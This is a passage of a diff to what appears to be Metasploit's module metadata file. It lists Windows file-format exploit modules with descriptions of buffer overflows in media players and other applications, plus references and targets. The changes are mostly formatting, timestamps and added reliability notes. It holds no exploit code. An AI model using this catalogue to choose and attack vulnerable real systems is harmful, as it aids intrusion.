"2013-10-09", "type": "exploit", @@ -153273,7 +156606,7 @@ "Mike Czumak", "Gabor Seljan" ], - "description": "This module exploits a stack-based buffer overflow vulnerability in\n ALLPlayer 5.8.1, caused by a long string in a playlist entry.\n By persuading the victim to open a specially-crafted .M3U file, a\n remote attacker could execute arbitrary code on the system or cause\n the application to crash. This module has been tested successfully on\n Windows 7 SP1.", + "description": "This module exploits a stack-based buffer overflow vulnerability in\n ALLPlayer 5.8.1, caused by a long string in a playlist entry.\n By persuading the victim to open a specially-crafted .M3U file, a\n remote attacker could execute arbitrary code on the system or cause\n the application to crash. This module has been tested successfully on\n Windows 7 SP1.", "references": [ "CVE-2013-7409", "BID-62926", @@ -153288,16 +156621,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ " ALLPlayer 2.8.1 / Windows 7 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/allplayer_m3u_bof", @@ -153305,6 +156634,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153312,9 +156650,7 @@ "exploit_windows/fileformat/altap_salamander_pdb": { "name": "Altap Salamander 2.5 PE Viewer Buffer Overflow", "fullname": "exploit/windows/fileformat/altap_salamander_pdb", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-06-19", "type": "exploit", @@ -153331,16 +156667,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal Salamander 2.5" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/altap_salamander_pdb.rb", "is_install_path": true, "ref_name": "windows/fileformat/altap_salamander_pdb", @@ -153348,6 +156680,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153355,9 +156696,7 @@ "exploit_windows/fileformat/aol_desktop_linktag": { "name": "AOL Desktop 9.6 RTX Buffer Overflow", "fullname": "exploit/windows/fileformat/aol_desktop_linktag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-01-31", "type": "exploit", @@ -153368,7 +156707,7 @@ "mr_me ", "silent_dream" ], - "description": "This module exploits a vulnerability found in AOL Desktop 9.6's Tool\\rich.rct\n component. By supplying a long string of data in the hyperlink tag, rich.rct copies\n this data into a buffer using a strcpy function, which causes an overflow, and\n results arbitrary code execution.", + "description": "This module exploits a vulnerability found in AOL Desktop 9.6's Tool\\rich.rct\n component. By supplying a long string of data in the hyperlink tag, rich.rct copies\n this data into a buffer using a strcpy function, which causes an overflow, and\n results arbitrary code execution.", "references": [ "OSVDB-70741", "EDB-16085" @@ -153376,18 +156715,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "AOL Desktop 9.6 on Windows XP SP3", "AOL Desktop 9.6 on Windows XP SP3 - NX bypass", "AOL Desktop 9.6 on Windows 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/aol_desktop_linktag.rb", "is_install_path": true, "ref_name": "windows/fileformat/aol_desktop_linktag", @@ -153395,6 +156730,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153402,16 +156746,14 @@ "exploit_windows/fileformat/aol_phobos_bof": { "name": "AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow", "fullname": "exploit/windows/fileformat/aol_phobos_bof", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2010-01-20", "type": "exploit", "author": [ "Trancer " ], - "description": "This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5.\n By setting an overly long value to 'Import()', an attacker can overrun a buffer\n and execute arbitrary code.\n\n NOTE: This ActiveX control is NOT marked safe for scripting or initialization.", + "description": "This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5.\n By setting an overly long value to 'Import()', an attacker can overrun a buffer\n and execute arbitrary code.\n\n NOTE: This ActiveX control is NOT marked safe for scripting or initialization.", "references": [ "OSVDB-61964", "EDB-11204", @@ -153420,16 +156762,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/aol_phobos_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/aol_phobos_bof", @@ -153437,6 +156775,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153444,9 +156791,7 @@ "exploit_windows/fileformat/apple_quicktime_pnsize": { "name": "Apple QuickTime PICT PnSize Buffer Overflow", "fullname": "exploit/windows/fileformat/apple_quicktime_pnsize", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-08-08", "type": "exploit", @@ -153454,7 +156799,7 @@ "MC ", "corelanc0d3r " ], - "description": "This module exploits a vulnerability in Apple QuickTime Player 7.60.92.0.\n When opening a .mov file containing a specially crafted PnSize value, an attacker\n may be able to execute arbitrary code.", + "description": "This module exploits a vulnerability in Apple QuickTime Player 7.60.92.0.\n When opening a .mov file containing a specially crafted PnSize value, an attacker\n may be able to execute arbitrary code.", "references": [ "CVE-2011-0257", "OSVDB-74687", @@ -153464,16 +156809,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 with DEP bypass" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/apple_quicktime_pnsize.rb", "is_install_path": true, "ref_name": "windows/fileformat/apple_quicktime_pnsize", @@ -153481,6 +156822,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153488,9 +156838,7 @@ "exploit_windows/fileformat/apple_quicktime_rdrf": { "name": "Apple Quicktime 7 Invalid Atom Length Buffer Overflow", "fullname": "exploit/windows/fileformat/apple_quicktime_rdrf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-22", "type": "exploit", @@ -153500,7 +156848,7 @@ "Paul Bates", "sinn3r " ], - "description": "This module exploits a vulnerability found in Apple QuickTime. The flaw is\n triggered when QuickTime fails to properly handle the data length for certain\n atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer\n overflow by loading a specially crafted .mov file, and allows arbitrary\n code execution under the context of the current user. Please note: Since an egghunter\n is used to search for the payload, this may require additional time for\n the exploit to complete.", + "description": "This module exploits a vulnerability found in Apple QuickTime. The flaw is\n triggered when QuickTime fails to properly handle the data length for certain\n atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer\n overflow by loading a specially crafted .mov file, and allows arbitrary\n code execution under the context of the current user. Please note: Since an egghunter\n is used to search for the payload, this may require additional time for\n the exploit to complete.", "references": [ "CVE-2013-1017", "OSVDB-93625", @@ -153511,16 +156859,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Quicktime 7.7.0 - 7.7.3 on Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb", "is_install_path": true, "ref_name": "windows/fileformat/apple_quicktime_rdrf", @@ -153528,6 +156872,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153535,9 +156888,7 @@ "exploit_windows/fileformat/apple_quicktime_texml": { "name": "Apple QuickTime TeXML Style Element Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/apple_quicktime_texml", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-05-15", "type": "exploit", @@ -153546,7 +156897,7 @@ "sinn3r ", "juan vazquez " ], - "description": "This module exploits a vulnerability found in Apple QuickTime. When handling\n a TeXML file, it is possible to trigger a stack-based buffer overflow, and then\n gain arbitrary code execution under the context of the user. This is due to the\n QuickTime3GPP.gtx component not handling certain Style subfields properly, storing\n user-supplied data on the stack, which results the overflow.", + "description": "This module exploits a vulnerability found in Apple QuickTime. When handling\n a TeXML file, it is possible to trigger a stack-based buffer overflow, and then\n gain arbitrary code execution under the context of the user. This is due to the\n QuickTime3GPP.gtx component not handling certain Style subfields properly, storing\n user-supplied data on the stack, which results the overflow.", "references": [ "OSVDB-81934", "CVE-2012-0663", @@ -153558,18 +156909,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "QuickTime 7.7.1 on Windows XP SP3", "QuickTime 7.7.0 on Windows XP SP3", "QuickTime 7.6.9 on Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/apple_quicktime_texml.rb", "is_install_path": true, "ref_name": "windows/fileformat/apple_quicktime_texml", @@ -153577,6 +156924,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153584,9 +156940,7 @@ "exploit_windows/fileformat/audio_coder_m3u": { "name": "AudioCoder .M3U Buffer Overflow", "fullname": "exploit/windows/fileformat/audio_coder_m3u", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-01", "type": "exploit", @@ -153594,7 +156948,7 @@ "metacom", "juan vazquez " ], - "description": "This module exploits a buffer overflow in AudioCoder 0.8.18. The vulnerability\n occurs when adding an .m3u, allowing arbitrary code execution with the privileges\n of the user running AudioCoder. This module has been tested successfully on\n AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1.", + "description": "This module exploits a buffer overflow in AudioCoder 0.8.18. The vulnerability\n occurs when adding an .m3u, allowing arbitrary code execution with the privileges\n of the user running AudioCoder. This module has been tested successfully on\n AudioCoder 0.8.18.5353 over Windows XP SP3 and Windows 7 SP1.", "references": [ "CVE-2017-8870", "OSVDB-92939", @@ -153603,16 +156957,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "AudioCoder 0.8.18.5353 / Windows XP SP3 / Windows 7 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/audio_coder_m3u.rb", "is_install_path": true, "ref_name": "windows/fileformat/audio_coder_m3u", @@ -153620,6 +156970,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153627,9 +156986,7 @@ "exploit_windows/fileformat/audio_wkstn_pls": { "name": "Audio Workstation 6.4.2.4.3 pls Buffer Overflow", "fullname": "exploit/windows/fileformat/audio_wkstn_pls", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-12-08", "type": "exploit", @@ -153637,7 +156994,7 @@ "germaya_x", "dookie" ], - "description": "This module exploits a buffer overflow in Audio Workstation 6.4.2.4.3.\n When opening a malicious pls file with the Audio Workstation,\n a remote attacker could overflow a buffer and execute\n arbitrary code.", + "description": "This module exploits a buffer overflow in Audio Workstation 6.4.2.4.3.\n When opening a malicious pls file with the Audio Workstation,\n a remote attacker could overflow a buffer and execute\n arbitrary code.", "references": [ "CVE-2009-0476", "OSVDB-55424", @@ -153646,16 +157003,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/audio_wkstn_pls.rb", "is_install_path": true, "ref_name": "windows/fileformat/audio_wkstn_pls", @@ -153663,6 +157016,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153670,9 +157032,7 @@ "exploit_windows/fileformat/audiotran_pls": { "name": "Audiotran 1.4.1 (PLS File) Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/audiotran_pls", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-01-09", "type": "exploit", @@ -153680,7 +157040,7 @@ "Sebastien Duquette", "dookie" ], - "description": "This module exploits a stack-based buffer overflow in Audiotran 1.4.1.\n An attacker must send the file to victim and the victim must open the file.\n Alternatively it may be possible to execute code remotely via an embedded\n PLS file within a browser, when the PLS extension is registered to Audiotran.\n This functionality has not been tested in this module.", + "description": "This module exploits a stack-based buffer overflow in Audiotran 1.4.1.\n An attacker must send the file to victim and the victim must open the file.\n Alternatively it may be possible to execute code remotely via an embedded\n PLS file within a browser, when the PLS extension is registered to Audiotran.\n This functionality has not been tested in this module.", "references": [ "CVE-2009-0476", "OSVDB-55424", @@ -153689,16 +157049,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/audiotran_pls.rb", "is_install_path": true, "ref_name": "windows/fileformat/audiotran_pls", @@ -153706,6 +157062,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153713,32 +157078,26 @@ "exploit_windows/fileformat/audiotran_pls_1424": { "name": "Audiotran PLS File Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/audiotran_pls_1424", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-09-09", "type": "exploit", "author": [ "Philip OKeefe" ], - "description": "This module exploits a stack-based buffer overflow in Audiotran 1.4.2.4.\n An attacker must send the file to victim and the victim must open the file.\n Alternatively, it may be possible to execute code remotely via an embedded\n PLS file within a browser when the PLS extension is registered to Audiotran.\n This alternate vector has not been tested and cannot be exercised directly\n with this module.", + "description": "This module exploits a stack-based buffer overflow in Audiotran 1.4.2.4.\n An attacker must send the file to victim and the victim must open the file.\n Alternatively, it may be possible to execute code remotely via an embedded\n PLS file within a browser when the PLS extension is registered to Audiotran.\n This alternate vector has not been tested and cannot be exercised directly\n with this module.", "references": [ "EDB-14961" ], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/audiotran_pls_1424.rb", "is_install_path": true, "ref_name": "windows/fileformat/audiotran_pls_1424", @@ -153746,6 +157105,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153753,9 +157121,7 @@ "exploit_windows/fileformat/aviosoft_plf_buf": { "name": "Aviosoft Digital TV Player Professional 1.0 Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/aviosoft_plf_buf", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-11-09", "type": "exploit", @@ -153771,16 +157137,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Aviosoft DTV Player 1.0.1.2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/aviosoft_plf_buf.rb", "is_install_path": true, "ref_name": "windows/fileformat/aviosoft_plf_buf", @@ -153788,6 +157150,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153795,9 +157166,7 @@ "exploit_windows/fileformat/bacnet_csv": { "name": "BACnet OPC Client Buffer Overflow", "fullname": "exploit/windows/fileformat/bacnet_csv", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-09-16", "type": "exploit", @@ -153805,7 +157174,7 @@ "Jeremy Brown", "MC " ], - "description": "This module exploits a stack buffer overflow in SCADA\n Engine BACnet OPC Client v1.0.24. When the BACnet OPC Client\n parses a specially crafted csv file, arbitrary code may be\n executed.", + "description": "This module exploits a stack buffer overflow in SCADA\n Engine BACnet OPC Client v1.0.24. When the BACnet OPC Client\n parses a specially crafted csv file, arbitrary code may be\n executed.", "references": [ "CVE-2010-4740", "OSVDB-68096", @@ -153815,17 +157184,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 English", "Windows 2000 SP4 English" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/bacnet_csv.rb", "is_install_path": true, "ref_name": "windows/fileformat/bacnet_csv", @@ -153833,6 +157198,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153840,9 +157214,7 @@ "exploit_windows/fileformat/beetel_netconfig_ini_bof": { "name": "Beetel Connection Manager NetConfig.ini Buffer Overflow", "fullname": "exploit/windows/fileformat/beetel_netconfig_ini_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-10-12", "type": "exploit", @@ -153850,7 +157222,7 @@ "metacom", "wvu " ], - "description": "This module exploits a stack-based buffer overflow in Beetel Connection\n Manager. The vulnerability exists in the parsing of the UserName\n parameter in the NetConfig.ini file.\n\n The module has been tested successfully against version\n PCW_BTLINDV1.0.0B04 on Windows XP SP3 and Windows 7 SP1.", + "description": "This module exploits a stack-based buffer overflow in Beetel Connection\n Manager. The vulnerability exists in the parsing of the UserName\n parameter in the NetConfig.ini file.\n\n The module has been tested successfully against version\n PCW_BTLINDV1.0.0B04 on Windows XP SP3 and Windows 7 SP1.", "references": [ "OSVDB-98714", "EDB-28969" @@ -153858,16 +157230,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "PCW_BTLINDV1.0.0B04 (WinXP SP3, Win7 SP1)" ], - "mod_time": "2020-02-04 10:05:41 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/beetel_netconfig_ini_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/beetel_netconfig_ini_bof", @@ -153875,6 +157243,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153882,9 +157259,7 @@ "exploit_windows/fileformat/blazedvd_hdtv_bof": { "name": "BlazeVideo HDTV Player Pro v6.6 Filename Handling Vulnerability", "fullname": "exploit/windows/fileformat/blazedvd_hdtv_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-04-03", "type": "exploit", @@ -153892,7 +157267,7 @@ "b33f", "sinn3r " ], - "description": "This module exploits a vulnerability found in BlazeVideo HDTV Player's filename\n handling routine. When supplying a string of input data embedded in a .plf file,\n the MediaPlayerCtrl.dll component will try to extract a filename by using\n PathFindFileNameA(), and then copies whatever the return value is on the stack by\n using an inline strcpy. As a result, if this input data is long enough, it can cause\n a stack-based buffer overflow, which may lead to arbitrary code execution under the\n context of the user.", + "description": "This module exploits a vulnerability found in BlazeVideo HDTV Player's filename\n handling routine. When supplying a string of input data embedded in a .plf file,\n the MediaPlayerCtrl.dll component will try to extract a filename by using\n PathFindFileNameA(), and then copies whatever the return value is on the stack by\n using an inline strcpy. As a result, if this input data is long enough, it can cause\n a stack-based buffer overflow, which may lead to arbitrary code execution under the\n context of the user.", "references": [ "OSVDB-80896", "EDB-18693", @@ -153901,16 +157276,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BlazeVideo HDTV Player Pro v6.6.0.3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/blazedvd_hdtv_bof", @@ -153918,6 +157289,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -153925,9 +157305,7 @@ "exploit_windows/fileformat/blazedvd_plf": { "name": "BlazeDVD 6.1 PLF Buffer Overflow", "fullname": "exploit/windows/fileformat/blazedvd_plf", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-08-03", "type": "exploit", @@ -153947,17 +157325,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "BlazeDVD 6.2", "BlazeDVD 5.1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/fileformat/blazedvd_plf.rb", "is_install_path": true, "ref_name": "windows/fileformat/blazedvd_plf", @@ -153970,6 +157344,9 @@ ], "SideEffects": [ "screen-effects" + ], + "Reliability": [ + "unknown-reliability" ] }, "session_types": false, @@ -153978,9 +157355,7 @@ "exploit_windows/fileformat/boxoft_wav_to_mp3": { "name": "Boxoft WAV to MP3 Converter v1.1 Buffer Overflow", "fullname": "exploit/windows/fileformat/boxoft_wav_to_mp3", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-08-31", "type": "exploit", @@ -153988,7 +157363,7 @@ "Robbie Corley", "Shelby Pace" ], - "description": "This module exploits a stack buffer overflow in Boxoft WAV to MP3 Converter versions 1.0 and 1.1.\n By constructing a specially crafted WAV file and attempting to convert it to an MP3 file in the\n application, a buffer is overwritten, which allows for running shellcode.", + "description": "This module exploits a stack buffer overflow in Boxoft WAV to MP3 Converter versions 1.0 and 1.1.\n By constructing a specially crafted WAV file and attempting to convert it to an MP3 file in the\n application, a buffer is overwritten, which allows for running shellcode.", "references": [ "CVE-2015-7243", "EDB-38035" @@ -153996,16 +157371,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Boxoft WAV to MP3 Converter v1.1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/boxoft_wav_to_mp3.rb", "is_install_path": true, "ref_name": "windows/fileformat/boxoft_wav_to_mp3", @@ -154013,6 +157384,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154020,16 +157400,14 @@ "exploit_windows/fileformat/bpftp_client_bps_bof": { "name": "BulletProof FTP Client BPS Buffer Overflow", "fullname": "exploit/windows/fileformat/bpftp_client_bps_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-07-24", "type": "exploit", "author": [ "Gabor Seljan" ], - "description": "This module exploits a stack-based buffer overflow vulnerability in\n BulletProof FTP Client 2010, caused by an overly long hostname.\n\n By persuading the victim to open a specially-crafted .BPS file, a\n remote attacker could execute arbitrary code on the system or cause\n the application to crash. This module has been tested successfully on\n Windows XP SP3.", + "description": "This module exploits a stack-based buffer overflow vulnerability in\n BulletProof FTP Client 2010, caused by an overly long hostname.\n\n By persuading the victim to open a specially-crafted .BPS file, a\n remote attacker could execute arbitrary code on the system or cause\n the application to crash. This module has been tested successfully on\n Windows XP SP3.", "references": [ "EDB-34162", "EDB-34540", @@ -154040,16 +157418,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb", "is_install_path": true, "ref_name": "windows/fileformat/bpftp_client_bps_bof", @@ -154057,6 +157431,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154064,9 +157447,7 @@ "exploit_windows/fileformat/bsplayer_m3u": { "name": "BS.Player 2.57 Buffer Overflow (Unicode SEH)", "fullname": "exploit/windows/fileformat/bsplayer_m3u", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-01-07", "type": "exploit", @@ -154074,7 +157455,7 @@ "C4SS!0 G0M3S", "Chris Gabriel" ], - "description": "This module exploits a buffer overflow in BS.Player 2.57. When\n the playlist import is used to import a specially crafted m3u file,\n a buffer overflow occurs allowing arbitrary code execution.", + "description": "This module exploits a buffer overflow in BS.Player 2.57. When\n the playlist import is used to import a specially crafted m3u file,\n a buffer overflow occurs allowing arbitrary code execution.", "references": [ "OSVDB-82528", "EDB-15934" @@ -154082,17 +157463,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP", "Windows 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/bsplayer_m3u.rb", "is_install_path": true, "ref_name": "windows/fileformat/bsplayer_m3u", @@ -154100,6 +157477,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -154107,9 +157493,7 @@ "exploit_windows/fileformat/ca_cab": { "name": "CA Antivirus Engine CAB Buffer Overflow", "fullname": "exploit/windows/fileformat/ca_cab", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2007-06-05", "type": "exploit", @@ -154126,16 +157510,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 All / Windows XP SP0/SP1 (CA eTrust Antivirus 8.1.637)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/ca_cab.rb", "is_install_path": true, "ref_name": "windows/fileformat/ca_cab", @@ -154143,6 +157523,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + 